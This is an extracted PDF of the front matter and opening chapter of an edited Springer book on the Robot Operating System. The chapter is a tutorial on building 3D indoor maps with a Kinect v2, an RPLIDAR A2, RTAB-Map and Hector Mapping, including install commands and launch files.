466585 1 En Print - ipp.pt

Robot Operating System - The Complete Reference (Volume 4) Part of the Studies in Computational Intelligence book series (SCI, volume 831)

Book

CISTER-TR-190702

2019

Several authors

Book CISTER-TR-190702 Robot Operating System - The Complete Reference (Volume 4)

© 2019 CISTER Research Center www.cister-labs.pt

1

Robot Operating System - The Complete Reference (Volume 4)

Several authors

CISTER Research Centre

Rua Dr. António Bernardino de Almeida, 431

4200-072 Porto

Portugal

Tel.: +351.22.8340509, Fax: +351.22.8321159

E-mail:

https://www.cister-labs.pt

Abstract

This is the fourth volume of the successful series Robot Operating Systems: The Complete Reference, providing a comprehensive overview of robot operating systems (ROS), which is currently the main development framework for robotics applications, as well as the latest trends and contributed systems. The book is divided into four parts: Part 1 features two papers on navigation, discussing SLAM and path planning. Part 2 focuses on the integration of ROS into quadcopters and their control. Part 3 then discusses two emerging applications for robotics: cloud robotics, and video stabilization. Part 4 presents tools developed for ROS; the first is a practical alternative to the roslaunch system, and the second is related to penetration testing. This book is a valuable resource for ROS users and wanting to learn more about ROS capabilities and features.

Studies in Computational Intelligence 831

Anis Koubaa Editor

Robot Operating System (ROS) The Complete Reference (Volume 4)

Studies in Computational Intelligence

Volume 831

Series Editor

Janusz Kacprzyk, Polish Academy of Sciences, Warsaw, Poland

[email protected]

The series “Studies in Computational Intelligence” (SCI) publishes new develop-

ments and advances in the various areas of computational intelligence—quickly and

with a high quality. The intent is to cover the theory, applications, and design

methods of computational intelligence, as embedded in the fields of engineering,

computer science, physics and life sciences, as well as the methodologies behind

them. The series contains monographs, lecture notes and edited volumes in

computational intelligence spanning the areas of neural networks, connectionist

systems, genetic algorithms, evolutionary computation, artificial intelligence,

cellular automata, self-organizing systems, soft computing, fuzzy systems, and

hybrid intelligent systems. Of particular value to both the contributors and the

readership are the short publication timeframe and the world-wide distribution,

which enable both wide and rapid dissemination of research output.

The books of this series are submitted to indexing to Web of Science,

EI-Compendex, DBLP, SCOPUS, Google Scholar and Springerlink.

More information about this series at http://www.springer.com/series/7092

[email protected]

Anis KoubaaEditor

Robot Operating System(ROS)

The Complete Reference (Volume 4)

123

[email protected]

Editor

Anis KoubaaCollege of Computer Science andInformation SystemsPrince Sultan UniversityRiyadh, Saudi Arabia

CISTER Research Center

Porto, Portugal

Gaitech Robotics

Shanghai, China

ISSN 1860-949X ISSN 1860-9503 (electronic)Studies in Computational IntelligenceISBN 978-3-030-20189-0 ISBN 978-3-030-20190-6 (eBook)https://doi.org/10.1007/978-3-030-20190-6

© Springer Nature Switzerland AG 2020This work is subject to copyright. All rights are reserved by the Publisher, whether the whole or partof the material is concerned, specifically the rights of translation, reprinting, reuse of illustrations,recitation, broadcasting, reproduction on microfilms or in any other physical way, and transmission

or information storage and retrieval, electronic adaptation, computer software, or by similar or dissimilarmethodology now known or hereafter developed.The use of general descriptive names, registered names, trademarks, service marks, etc. in thispublication does not imply, even in the absence of a specific statement, that such names are exempt fromthe relevant protective laws and regulations and therefore free for general use.The publisher, the authors and the editors are safe to assume that the advice and information in this

book are believed to be true and accurate at the date of publication. Neither the publisher nor theauthors or the editors give a warranty, expressed or implied, with respect to the material containedherein or for any errors or omissions that may have been made. The publisher remains neutral with regardto jurisdictional claims in published maps and institutional affiliations.

This Springer imprint is published by the registered company Springer Nature Switzerland AG

The registered company address is: Gewerbestrasse 11, 6330 Cham, Switzerland

[email protected]

Reviewers

Anis Koubaa, Prince Sultan University, Saudi Arabia/CISTER Research Unit,

Portugal

Giuseppe Silano, University of Sannio in Benevento

Andre Oliveira, UTFPR

Marco Teixeira, UTFPR

Dinesh Thakur, University of Pennsylvania

David Portugal, Ingeniarius, Ltd.

Michael Carroll, Robotic Paradigm Systems

Joao Fabro, UTFPR—Federal University of Technology—Parana

Christopher-Eyk Hrabia, Technische Universität/DAI Labor

Martin Martorell, CYBERDYNE Inc.

Valerio De Carolis, Heriot-Watt University

Francisco J. Rodríguez Lera, University of Luxembourg

Francesco Rovida, Aalborg University

Ankit Ravankar, Hokkaido University

Marco Wehrmeister, Federal University of Technology—Parana

Alvaro Cantieri, Instituto Federal do Paraná

Ingo Lütkebohle, Robert Bosch GmbH

Bernhard Dieber, JOANNEUM RESEARCH—Institute for Robotics and

Mechatronics

Huimin Lu, National University of Defense Technology

Tirtharaj Dash, BITS Pilani

Raffaele Limosani, Scuola Superiore Sant’Anna

Vahid Azizi, Rutgers University

v

[email protected]

Contents

Navigation

A Guide for 3D Mapping with Low-Cost Sensors Using ROS . . . . . . . . 3

David Portugal, André Araújo and Micael S. Couceiro

Path Planning and Following for an Autonomous Model Car

Using an “Eye in the Sky” . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25

Rodrigo Rill-García, Jose Martinez-Carranza, Edgar Granados

and Marco Morales

Quadcopters

Parametric Optimization for Nonlinear Quadcopter Control

Using Stochastic Test Signals . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55

Antonio Matus-Vargas, Gustavo Rodriguez-Gomez

and Jose Martinez-Carranza

CrazyS: A Software-in-the-Loop Simulation Platform for the Crazyflie

2.0 Nano-Quadcopter . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81

Giuseppe Silano and Luigi Iannelli

Applications

Cloud Robotics with ROS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 119

Giovanni Toffetti and Thomas Michael Bohnert

Video Stabilization of the NAO Robot Using IMU Data . . . . . . . . . . . . . 147

Oswualdo Alquisiris-Quecha and Jose Martinez-Carranza

vii

[email protected]

ROS Tools

roslaunch2: Versatile, Flexible and Dynamic Launch Configurations

for the Robot Operating System . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 165

Adrian Böckenkamp

Penetration Testing ROS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 183

Bernhard Dieber, Ruffin White, Sebastian Taurer, Benjamin Breiling,

Gianluca Caiazza, Henrik Christensen and Agostino Cortesi

viii Contents

[email protected]

Navigation

[email protected]

A Guide for 3D Mapping with Low-CostSensors Using ROS

David Portugal, André Araújo and Micael S. Couceiro

Abstract Open source software and low-cost sensors bring unquestionable advan-

tages to the robotics community, facilitating the access to a wide range of robotic

applications to virtually anyone, and playing an important role in recent advances.

With the progressive overthrown of the cost barrier, development of robotic solu-

tions has become more widespread among our society, as witnessed by the increase

of service robotic applications to consumers. Despite the ease of access to low-cost

sensors nowadays, knowledge of sensor integration and robotics middleware is still

imperative to design successful robotic solutions. In this tutorial chapter, we provide

an educational guide that leverages open source tools, such as the Robot Operating

System (ROS), and low-cost sensors, such as the Microsoft Kinect v2, to design a

full 3D indoor Mapping system. The ultimate goal of the system is to create a com-

prehensive and detailed 3D map of any indoor environment. Besides going through

all the key steps to setup such a system and presenting interactive results, we also

provide an experimental dataset that we hope can be useful to the community in the

future.

Keywords Educational robotics · Open source software · Low-cost sensors ·

3D Mapping

1 Introduction

The market of sensors for robotics is changing: precisions sensors for robotic appli-

cations, such as time-of-flight (TOF) cameras, laser range finders (LRFs) or Inertial

Measurement Units (IMUs) used to be only available to some companies and/or

D. Portugal (B) · A. Araújo · M. S. CouceiroIngeniarius, Ltd., R. Coronel Veiga Simão, Edifício CTCV, 3Piso,3025-307 Coimbra, Portugale-mail: [email protected]

A. Araújoe-mail: [email protected]

M. S. Couceiroe-mail: [email protected]

© Springer Nature Switzerland AG 2020A. Koubaa (ed.), Robot Operating System (ROS), Studies in ComputationalIntelligence 831, https://doi.org/10.1007/978-3-030-20190-6_1

3

[email protected]

4 D. Portugal et al.

robotics institutes, due to their high cost. In recent years, there has been an evi-

dent effort to provide low-cost sensory alternatives to replace traditionally expensive

sensors, thanks to the vision of a rising number of robotic companies leading to

an increased investment in robotics worldwide, which has been crucial in bringing

service robots closer to the consumer.

Additionally, open source projects such as the Arduino electronics platform [1],

OpenCV [2] or the MORSE and Gazebo simulators [3] have been fundamental for

educational robotics, significantly helping roboticists to get started. In this realm,

one of the most important steps is the wide take-up of a quasi-standard robotics

middleware: the Robot Operating System (ROS1). Nowadays, most research robots

run ROS, and its adoption is continuously growing in the industry. ROS has a peer-

to-peer, modular, tools-based, free and open source nature [4], allowing software

developers to create robotic applications in a quick and easy way. Moreover, ROS is

a language-independent framework, which provides hardware abstraction, low-level

device control, implementation of commonly-used functionalities, message-passing

between processes and package management. ROS promotes code reuse with dif-

ferent hardware, providing a large amount of libraries available for the community,

like laser-based 2D SLAM2 [5], 3D point cloud based object recognition [6], Adap-

tive Monte Carlo [7] and Extended Kalman Filter localization [8], robot navigation

software [9], manipulation libraries [10], serial communication [11] among others,

as well as tools for 3D visualization (rviz), recording experiments and playing back

data offline (rosbag), and more. Due to its several features, ROS is currently used

worldwide, having regular updates and broad community support, which enables the

users to obtain, build, write, test and run ROS code. Clearly, integrating robots and

sensors in ROS is highly beneficial.

In this work, we provide an educational guide for setting up a system that anyone

can use to build comprehensive and detailed 3D maps of indoor environments. The

proposed system takes advantage from open source tools, such as ROS, two open

source mapping algorithms that have also been integrated in ROS (RTAB-Map and

Hector Mapping), as well as two widely available low-cost sensors (Microsoft Kinect

v2 and Slamtec RPLIDAR A2). Next, we overview seminal work on 3D mapping

approaches, and existent solutions in ROS for building comprehensive 3D maps

with diverse sensors. We then present the sensors and algorithms used in this tutorial

chapter, and we will focus on the system functionality in what remains, guiding the

user towards creating a low-cost 3d indoor mapping system based on ROS. We also

provide a dataset for those who do not have access to similar sensors to test the

approach proposed, and we finish the chapter with conclusions and future work.

1http://www.ros.org.2SLAM stands for the well-known Simultaneous Localization And Mapping problem.

[email protected]

A Guide for 3D Mapping with Low-Cost Sensors Using ROS 5

2 Background

Building precise 3D maps is useful for several practical applications and it is consid-

ered a fundamental task in Robotics. Mapping may be crucial to acquire precise local-

ization, or to support other robotic tasks, be it indoor, e.g. mobile manipulation [12],

patrolling and coverage [13], people detection [14], human-robot interaction [15],

or outdoor tasks, e.g. search and rescue [16], humanitarian demining [17], recon-

naissance and exploration [18], UAV surveying [19], structure reconstruction [20],

etc.

Initial work in robotic 3D mapping focused on 3D reconstruction of unknown envi-

ronments using data acquired by panning and/or tilting Laser Range Finders [21], and

stereo cameras [23]. The main focus was placed in configuring and tracking the sen-

sors to acquire depth data while precisely estimating sensor’s motion, also applying

geometrical corrections, and devising efficient methods for registering and match-

ing consecutive sensor data to reconstruct the environment through the extraction of

geometrical features from range sensing.

In [22], a robot is equipped with a forward-looking laser for concurrent mapping

and localization in 2D, and an upward-pointed laser to build a 3D map of the environ-

ment. The approach filters outliers based on distance to generate compact 3D maps,

and a simplification process is used for real-time rendering by fusing look-alike poly-

gons, thus reducing complexity. A low cost 3D laser range finder system is proposed

in [24], by controlling a 2D range finder with a servo motor. A digital camera for

texture mapping is mounted on top of the laser range finder. While rotating, several

pictures are taken so that texture mapping can be applied.

Following these initiatives, several authors moved to 3D model construction and

mapping in outdoor environments by matching aerial photographs with ground level

laser scans via Markov localization [25], or combining dual laser systems for 3D

data collection [26, 27]. Moreover, Extended Kalman Filter (EKF) techniques for

3D positioning tracking have also been applied for 3D environment reconstruction

in diverse works using rotating laser-scanning setups [29, 30]. These works place

important focus on data acquisition, surface segmentation, feature extraction, point

cloud registration and fusion, and the state model for localization. A generated 3D

reconstruction of an office environment in [30] is illustrated in Fig. 1a.

Rocha et al. [31] proposed building 3D volumetric maps using cooperative mobile

robot teams equipped with stereo-vision range sensors. The problem is addressed

using a probabilistic approach based on information theory. Robots cooperate through

efficient information sharing, and an explicit representation of uncertainty is defined

via the maps entropy. A volumetric map obtained in [31] is presented in Fig. 1b. Using

a similar principle, an Entropy Minimization SLAM system for creating dense 3D

visual maps of underwater environments is proposed in [32]. The approach exploits

dense information coming from a stereo system, and performs robust ego-motion

estimation and global-rectification.

Full 6DoF SLAM has been studied more recently [33, 34]. In these works, the

authors focus on estimating the 6 degrees-of-freedom (DoF) pose, namely the three

[email protected]


(a) (b)

Fig. 1 Examples of generated 3D representations. a Reconstructed office by Weingarten and Sieg-wart [30]. b Volumetric map by Rocha et al. [31]

Cartesian coordinates and the three Euler angles. Precise Iterative Closest Point

(ICP)-based scan matching and efficient simplification methods (e.g. Taylor expan-

sion and Cholesky decomposition) are proposed to deal with the complexity and

resulting non-linearities of these approaches, leading to globally consistent 3D rep-

resentations of outdoor areas. Additionally, a robust 3D SLAM system applicable

to non-textured environments is proposed in [35], based only on a stereo camera.

By aligning edge points between frames via the ICP algorithm, the system is able to

reliably build detailed 3D maps even under noisy conditions.

Initial work with time-of-flight (ToF) cameras focused on the fusion of low

resolution data from Photonic Mixing Devices (PMD) with high resolution RGB

images [36, 37] to generate appropriate depth maps. These approaches allowed

overcoming the limitations of the first generation of ToF cameras, such as noisy

readings, poor performance on textured scenes, low resolution, restricted field of

view (FoV), and lack of colored information. Following these initial works, several

authors equipped robots with ToF cameras for pose estimation, 3D perception and

map building [38–40], proposing different calibration and filtering techniques, as

well as ego motion estimation approaches and data fusion with stereo or spherical

cameras, even endowing robots with planar mirrors to overcome the limited FoV of

ToF cameras [41].

With the boom of motion sensing devices, such as the Microsoft Kinect or the Asus

Xtion, RGBD cameras became easily available for roboticists worldwide, and several

approaches for 3D mapping using these cameras were presented [42, 43]. These

works provide full 3D mapping systems, estimating the camera’s motion through

spacial features and pose optimization, thus generating occupancy voxel grid models

that are globally consistent. The wide availability of RGBD cameras also allowed

to build 3D maps using UAVs [44] and ground robots [45]. Moreover, Hornung

et al. [46] proposed a key contribution for the 3D mapping literature, by presenting

a method to keep compact 3D volumetric models, called OctopMap. The approach

is based on octrees for spatial subdivision in 3D and uses probabilistic occupancy

[email protected]


estimation, allowing to update the representation efficiently and modeling the data

consistently, while keeping the memory requirements low.

ROS supports many 3D mapping systems, such as RGBD-SLAM [47],3 Octomap

Mapping [46],4 ORB-SLAM2 [48],5 LSD-SLAM [49],6 ETHZ ASL ICP Map-

ping [50],7 Carthographer [51],8 HDL Graph SLAM [52],9 LOAM [53],10 or

DSO [54].11 In the next section, we present the low-cost sensors and 3D mapping

approach used in this guide.

3 Preliminaries

Microsoft Kinect v2 (a.k.a. Kinect One),12 illustrated in Fig. 2a is a motion sensor

priced at around $149. It was originally developed by Microsoft to enable users to

interact with their console/computer through a natural user interface using gestures

and spoken commands. The Kinect v2 quickly became popular in robotics, due to

its ability to acquire accurate colored and depth (RGB-D) images at high rates [55],

allowing robot applications in which dense and robust 3D representations of the

environment could be created. The sensor provides a 70.6× 60.0 horizontal and

vertical field of view (FOV), with an angular resolution of 0.14/px and an operating

range between 0.5 and 4.5 m. For instance, the Kinect v2 is used to interact with

a service robot using gestures in [56], and it is used for mapping an indoor space

in [57].

Slamtec RPLIDAR A2 is a laser range scanner,13 illustrated in Fig. 2b, and currently

priced at around $449. Besides its low cost when compared to other LRF solutions

in the market, the RPLIDAR A2 features an impressive FOV of 360, with an angular

resolution of 0.9, and a scanning frequency that can be adjusted between 5 and

20 Hz. The effective range of the sensor is 6 m with a distance resolution below

0.5 mm. The sensor has been gaining interest in the field of robotics, being used for

instance for autonomous navigation of aerial indoor vehicles [58] or for obstacle

avoidance of ground robots [59].

3http://wiki.ros.org/rgbdslam.4http://wiki.ros.org/octomap.5https://github.com/ethz-asl/orb_slam_2_ros.6https://github.com/tum-vision/lsd_slam.7http://wiki.ros.org/ethzasl_icp_mapper.8http://wiki.ros.org/cartographer.9https://github.com/koide3/hdl_graph_slam.10https://github.com/daobilige-su/loam_velodyne.11https://github.com/JakobEngel/dso_ros.12https://www.xbox.com/xbox-one/accessories/kinect.13https://www.slamtec.com/en/Lidar/A2.

[email protected]


(a) (b)

Fig. 2 Sensors used in the 3D indoor Mapping system of this work. a Kinect v2. b RPLIDAR A2

RTAB-Map (Real-Time Appearance-Based Mapping)14 is a very promising RGB-

D Graph-Based SLAM approach developed by Labbé and Michaud [60, 61], which

uses a global Bayesian loop closure detector. According to the authors, the loop

closure detector uses a bag-of-words approach to determinate how likely a new

image comes from a previous location or a new location. RTAB-Map detects fea-

tures using the GoodFeaturesToTrack (GFTT) approach by default [62], which eases

parameter tuning, enabling uniformly detected features across different image size

and light intensity. Alternatively, RTAB-Map supports all features types available in

OpenCV [63], such as SIFT, SURF, ORB, FAST or BRIEF. A graph optimizer mini-

mizes the errors in the map when new constraints are added, and an efficient memory

management approach is used to fulfill real-time constraints in large environments.

In this work, we will make use of RTAB-Map for ROS15 to build a 6DoF RGB-D

map with the Kinect v2 sensor.

Hector Mapping [64] is a 2D SLAM system based on robust laser scan matching.

The estimation of the robot movement in real-time makes use of the high update

rate and the low distance measurement noise from modern Light Detection And

Ranging (LIDAR) sensors, like the RPLIDAR A2. The 2D pose estimation is based

on optimization of the alignment of beam endpoints with the map obtained so far.

The endpoints are projected in the actual map and the occupancy probabilities are

estimated. Scan matching is solved using a Gaussian-Newton equation, which finds

the rigid transformation that best fits the laser beams with the map. In addition, a

multi-resolution map representation is used, to avoid getting stuck in local minima.

In this work, we will make use of Hector Mapping for ROS16 with the RPLIDAR A2

to provide an accurate estimate of motion in the world.

For consistent indoor mapping of a 3D space, RTAB-Map needs to be fed with an

odometry estimation, i.e. an estimation of the motion between the mapping instances.

This can be done by computing visual odometry using solely RTAB-map with the

Kinect v2. However, our experience shows that the laser-based motion estimation

provided by Hector Mapping with the RPLIDAR A2 is much more reliable, thus we

will use the Hector-generated odometry to feed RTAB-Map in this work.

14http://introlab.github.io/rtabmap.15http://wiki.ros.org/rtabmap_ros.16http://wiki.ros.org/hector_mapping.

[email protected]


The Hector/RTAB-map combination has several advantages over the aforemen-

tioned approaches mentioned in Sect. 2. Besides allowing the use of low cost sensors

for a full 3D indoor mapping solution, this approach provides a widely available and

tested ROS implementation, only needing a few integration steps. Moreover, it has

proved performance, as confirmed later in Sect. 6.

In the next section, we start our educational guide by presenting the requirements

and basic installation instructions. We will then go through the key steps to run the

system, using an illustrative experimental setup and a previous recorded dataset. We

later present the main results and discussion, and we finish the paper with conclusions

and future work.

4 Requirements and Basic Installation

To install and run the proposed system, we will assume that the reader has basic Linux

and ROS knowledge, especially regarding ROS launch XML files,17 Transforms,18

and basic understanding of how RTAB-Map and Hector Mapping work. We also

assume that a PC and the two sensors are available, interconnected as presented in

Fig. 3. Please follow carefully the installation process of all the open source tools:

1. Install the latest Ubuntu 16.04 Linux OS LTS Version, available at:

http://ftp.dei.uc.pt/pub/linux/ubuntu/releases/16.04

2. After installing the OS, install the Ubuntu updates by typing in the terminal:

$ sudo apt upgrade

3. Install ROS Kinetic Kame, following the instructions at:

http://wiki.ros.org/kinetic/Installation/Ubuntu

4. Setup your ROS catkin workspace, by typing in the terminal:

$ mkdir -p ∼/catkin_ws/src$ cd ∼/catkin_ws$ catkin_make$ source devel/setup.bash

open your bash configuration file (at /home/$USER/.bashrc):

$ gedit ∼/.bashrc

and add the following two lines at the end:

source ∼/catkin_ws/devel/setup.bashexport ROS_WORKSPACE=∼/catkin_ws

17http://wiki.ros.org/roslaunch/XML.18http://wiki.ros.org/tf.

[email protected]


12V19V

Lead-Acid Battery

(7A, 12V)

12V

Step Up

(12V → 19V) NUC mini-PCRPLIDAR A2

Kinect v2 Kinect Power Adapter

Kinect USB 3.0

Adapter

Fig. 3 Connection between the modules of the experimental setup

5. To support the Kinect v2 sensor, follow the instructions at https://github.com/

code-iai/iai_kinect2 (steps 3, 4 and 5) to install libfreenect2 with C++11

support for Linux, and the iai_kinect2 ROS driver in your workspace.

6. Install the RPLIDAR A2 ROS Driver, Hector Mapping and RTAB-Map by typing

in the terminal:

$ sudo apt install ros-kinetic-rplidar-ros ros-kinetic-hector-mapping ros-kinetic-rtabmap-ros

Your installation of the system is now finished.

5 Running the System

We will start by connecting the sensors, and then launch the software. In case the

reader is not able to run the system for any reason, e.g. no access to the sensors, we

also provide a ROS bag dataset, which can be used to run the software offline.

5.1 Connecting the Sensors and Exposing Them to ROS

In Fig. 4 we present our experimental setup. We have used a pushcart base to drive

the sensors around, a lead-acid battery powering the Kinect v2 and the NUC mini-

PC, which runs Ubuntu and ROS. The Kinect 2 is connected to the PC using a USB

3.0 port, and the RPLIDAR A2 can be powered by any USB port of the PC. Using

a similar setup to the one described here, please follow these steps to expose sensor

data into ROS:

[email protected]


(a) (b)

Fig. 4 Experimental setup for 3D indoor mapping. a Real experimental setup. b Visualization inrvi z

1. Run the RPLIDAR A2 ROS driver, by typing in the terminal:

$ roslaunch rplidar_ros rplidar.launch

In case you run into errors, or the RPLIDAR A2 scans do not get published in

the /scan topic, then something is wrong with your permissions to access the

sensor. Please check the RPLIDAR A2 wiki19 to fix this by creating a proper udev

rule in your system.

2. Run the Kinect v2 ROS driver and publish its internal transforms, by typing in

the terminal:

$ roslaunch kinect2_brige kinect2_bridge.launchpublish_tf:=true

3. Prepare the static transform between the RPLIDAR A2 and Kinect 2, which will

allow the system to know the pose of the sensors relative to each other at all times.

For this, please create a new ROS package (let us call it rtabmap_utils), and

add a new launch file inside it, which we will call static_tfs_kinect2_rplidar.launch with the content of Fig. 5.

We have prepared a ready-to-use version of the package rtabmap_utils for

the reader’s convenience.20 Please be aware that the first static transform should

be changed to fit the reader’s particular setup, namely the translations and orien-

tations of the sensors relative to each other. The second static transform is simply

used to create a new link that rotates the Kinect v2 frame of reference, which uses

the z axis as the depth axis, and changing it to become the vertical axis, which is

the common convention.

4. We can now run the static transforms, by typing in the terminal:

19https://github.com/robopeak/rplidar_ros/wiki.20https://github.com/ingeniarius-ltd/rtabmap_utils.

[email protected]

<launch>





<node pkg="tf" type="static transform publisher" name="static tf kinect2

rplidar" args="0.125 0.09 -0.08 -1.5 0.0 -1.34 laser kinect2 link 100"

respawn="true"/> 



<node pkg="tf" type="static transform publisher" name="static tf kinect2

inverted link" args="0.0 0.0 0.0 1.57 -1.57 0.0 kinect2 link

kinect2 laser link 100" respawn="true"/> 

</launch>

Fig. 5 Static transform between the RPLIDAR A2 and Kinect 2 links, and inversion of the Kinect

v2 link



<launch>



<include file=" (find kinect2 bridge)/launch/kinect2 bridge.launch">

<arg name="publish tf" value="true" />

</include>



<include file=" (find rplidar ros)/launch/rplidar.launch"/>



<include file=" (find rtabmap utils)/launch/static tfs kinect2 rplidar

.launch"/>

</launch>

Fig. 6 Running the Kinect v2, RPLIDAR A2 and the static transforms in a single ROS Launch file

$roslaunch rtabmap_utils static_tfs_kinect2_rplidar.launch

5. To run everything together (drivers and transforms) we can create another launch

file, which we will call run_kinect_and_rplidar.launch, with the con-

tent of Fig. 6. We can call this by typing in the terminal:

$ roslaunch rtabmap_utils run_kinect_and_rplidar.launch

[email protected]


5.2 Running the Software

Now that the sensors’ data are being published in ROS, it is time to run the two

algorithms: Hector Mapping to extract a consistent odometry estimation that will

feed RTAB-Map, which in turn will create the 3D representation of the environment.

We have prepared yet another launch file, called rtabmap.launch with the

content of Fig. 7. There are several important aspects in this launch file that are

worth mentioning. Firstly, we set the pub_map_scanmatch_transform and

the pub_odometry parameters of Hector Mapping to true to generate the

intended odometry estimates extracted by matching consecutive laser scans. We

also instruct Hector Mapping to acquire scan data in the topic /scan which is pub-

lished by the RPLIDAR A2 driver. On the RTAB-Map side of things, we remap the

odometry input topic to /scanmatch_odom, which is where the Hector Mapping

algorithm publishes the odometry information. Moreover, we also remap the input

RGB image, Depth image and camera information topics to the ones published by

the Kinect v2 driver, thus appropriately feeding RTAB-Map with information coming

from the Kinect v2. For detailed information on the available parameters for each

algorithm, the interested reader should refer to the ROS Wiki.21,22,23

Besides the two algorithms, we also run rviz—the ROS visualization tool24—to

analyze the data and troubleshoot.

To start the system, assuming that run_kinect_and_rplidar.launch is

already running (step 5 in Sect. 5.1), we just have to type the following command in

a new terminal:

$ roslaunch rtabmap_utils rtabmap.launch

A new window with rviz will pop up, and you should see something similar to

Fig. 8. You are now ready to map the environment.

5.3 Running the Software from a ROS Bag Dataset

In our experimental setup (cf. Fig. 4), we have used a pushcart with the sensors

mounted on top, and we have pushed the cart to map a large indoor area with a long

corridor. In case the reader does not have access to a similar setup, we have recorded

our sensor data into a ROS bag dataset, which can be played back in ROS. In the

next lines, we provide the instructions to run the software on top of our dataset. For

this task you will need at least 30 GB of free space in your system, and the first three

steps may take a fair amount of time:

21http://wiki.ros.org/hector_mapping#Parameters.22http://wiki.ros.org/rtabmap_ros#Parameters.23http://wiki.ros.org/rtabmap_ros/Tutorials/Advanced%20Parameter%20Tuning.24http://wiki.ros.org/rviz.

[email protected]

<launch>



<arg name="resolution" default="qhd" />



<arg name="frame id" default="laser" />



<node pkg="hector mapping" type="hector mapping" name="hector mapping"

output="screen">

<param name="map frame" value="hector map" />

<param name="base frame" value="laser" />

<param name="odom frame" value="odom" />

<param name="tf map scanmatch transform frame name" value="laser" />

<param name="pub map odom transform" value="false" />

<param name="pub map scanmatch transform" value="true" />

<param name="pub odometry" value="true" />

<param name="map resolution" value="0.05" />

<param name="map size" value="2048" />

<param name="map multi res levels" value="2" />

<param name="map update angle thresh" value="0.06" />

<param name="scan topic" value="scan" />

</node>



<group ns="rtabmap">

<node pkg="rtabmap ros" type="rtabmap" name="rtabmap" output="screen"

args="--delete db on start">

<param name="subscribe depth" value="true" />

<param name="subscribe scan" value="true" />

<param name="frame id" value=" (arg frame id)" />

<param name="cloud decimation" value="2" />

<param name="cloud max depth" value="5.0" />

<param name="cloud voxel size" value="0.01" />

<param name="map cleanup" value="false" />

<remap from="rgb/image" to="/kinect2/ (arg resolution)/

image color rect" />

<remap from="depth/image" to="/kinect2/ (arg resolution)/

image depth rect" />

<remap from="rgb/camera info" to="/kinect2/ (arg resolution)/

camera info" />

Fig. 7 ROS Launch file for running RTAB-map and Hector Mapping with a Kinect v2 RGB-Dsensor and a RPLIDAR A2 laser range scanner

[email protected]

<remap from="scan" to="/scan"/>

<remap from="odom" to="/scanmatch odom"/>

<param name="approx sync" value="true" />

<param name="Reg/Strategy" value="1" />

<param name="Vis/MaxDepth" value="8.0" />

<param name="Vis/InlierDistance" value="0.1" />

<param name="Optimizer/Slam2D" value="true" />

<param name="Reg/Force3DoF" value="true" />

</node>

</group>



<node pkg="rviz" type="rviz" name="rviz" args="-d (find

rtabmap utils)/rviz configs/kinect rtabmap with hector.rviz" />

<node pkg="nodelet" type="nodelet" name="points xyzrgb" args="load

rtabmap ros/point cloud xyzrgb standalone nodelet">

<remap from="rgb/image" to="data odom sync/image" />

<remap from="depth/image" to="data odom sync/depth" />

<remap from="rgb/camera info" to="data odom sync/camera info" />

<remap from="cloud" to="voxel cloud" />

<param name="voxel size" value="0.01" />

</node>

</launch>

Fig. 7 (continued)

Fig. 8 Starting the system, and visualization in rviz

[email protected]


1. Download the bag dataset from:

https://goo.gl/c4e8BS

2. Decompress the bag dataset, by typing in the terminal:

$ rosbag decompress kinect+rplidar_bz2.bag

3. Move the bag file to the rtabmap_utils package and rename it:

$ mv kinect+rplidar_bz2.bag ∼/catkin_ws/src/rtabmap_utils/kinect+rplidar.bag

4. We will now create a launch file to run the software on top of the sensor data

being published in the ROS bag dataset. To this end, create a copy of the

rtabmap.launch and rename it tortabmap_with_bag.launch, by typ-

ing in the terminal:

$ roscd rtabmap_utils/launch$ cp rtabmap_launch rtabmap_with_bag.launch

5. Add the following line after the <launch> tag in rtabmap_with_bag.launch:

<param name="use_sim_time" value="true" />

to inform ROS that we will be using simulated (past) time.

Now add the following line to run the ROS bag dataset from the launch file, which

will publish a clock with the timestamps of the recorded data25:

<node pkg="rosbag" type="play" name="rosbag_play" args="$(findrtabmap_utils)/kinect+rplidar.bag --clock"output="screen"/>

6. Finally launch the file created to run the 3D indoor mapping algorithm on top of

the dataset:

$ roslaunch rtabmap_utils rtabmap_with_bag.launch

Again, a new window with rviz will pop up (similarly to Fig. 8) and you will see

the environment in the dataset being progressively mapped.

6 Results and Discussion

In Fig. 9, we illustrate some results of the 3D map built using our experimental setup

and the approach described in this paper. As can be seen in the pictures and the

video of the experiment, the system is able to build a consistent and detailed 3D map

of the environment, without ever losing track of the sensors’ pose. In Fig. 10, we

present the coordinate frames that are used in ROS and their relation, while running

the system. Note that /map is the global frame used for building the 3D map,

25This will replace step 5 in Sect. 5.1 by publishing sensor data and the transforms.

[email protected]


Fig. 9 Illustrations of the 3D map in different areas of the building. Full video available at: https://www.youtube.com/watch?v=MlrcTyXy5No

while /hector_map corresponds to the frame where Hector Mapping provides

the odometry information that feeds RTAB-Map.

Furthermore, it is possible to save the 3D map into Point Cloud data formats, such

as PCD or PLY, to be opened by external applications, like Meshlab.26 In order to do

so, one simply has to run the following commands in the terminal at the end of the

experiment to get a PCD file:

$ rosrun pcl_ros pointcloud_to_pcd input:=rtabmap/cloud_map$ rosservice call /rtabmap/publish_map 1 1 0

and another command to convert the PCD file into a PLY file (if needed):

$ pcl_pcd2ply <input_file>.pcd <output_file>.ply

26http://www.meshlab.net.

[email protected]


kinect2_link

kinect2_rgb_optical_frame

Broadcaster: /play_1516643473548391540Average rate: 99.166 Hz

Most recent transform: 1484305948.344 ( -0.003 sec old)Buffer length: 4.951 sec

kinect2_laser_link



kinect2_ir_optical_frame



laser



map

hector_map

Broadcaster: /rtabmap/rtabmapAverage rate: 20.241 Hz


Broadcaster: /hector_mappingAverage rate: 10.673 Hz

Most recent transform: 1484305948.238 ( 0.102 sec old)Buffer length: 4.872 sec

Fig. 10 View of the coordinate frames in our ROS system

7 Conclusions and Future Work

It is our belief that robotics should be accessible to all, and innovation and advance-

ments do not necessarily come only from the robotics research community, but also

from the potential of hobbyists and the Do It Yourself (DIY) community, when pro-

vided with the right tools. For this reason, this paper presents a thorough educational

guide that benefits from open source software and low-cost sensors, below the $500

price tag, for building a consistent 3D map of the environment, as the main application

target.

We provide this educational guide in the hope that it can be useful for learn-

ing/teaching robotics, and to get more acquainted with ROS, existing perception

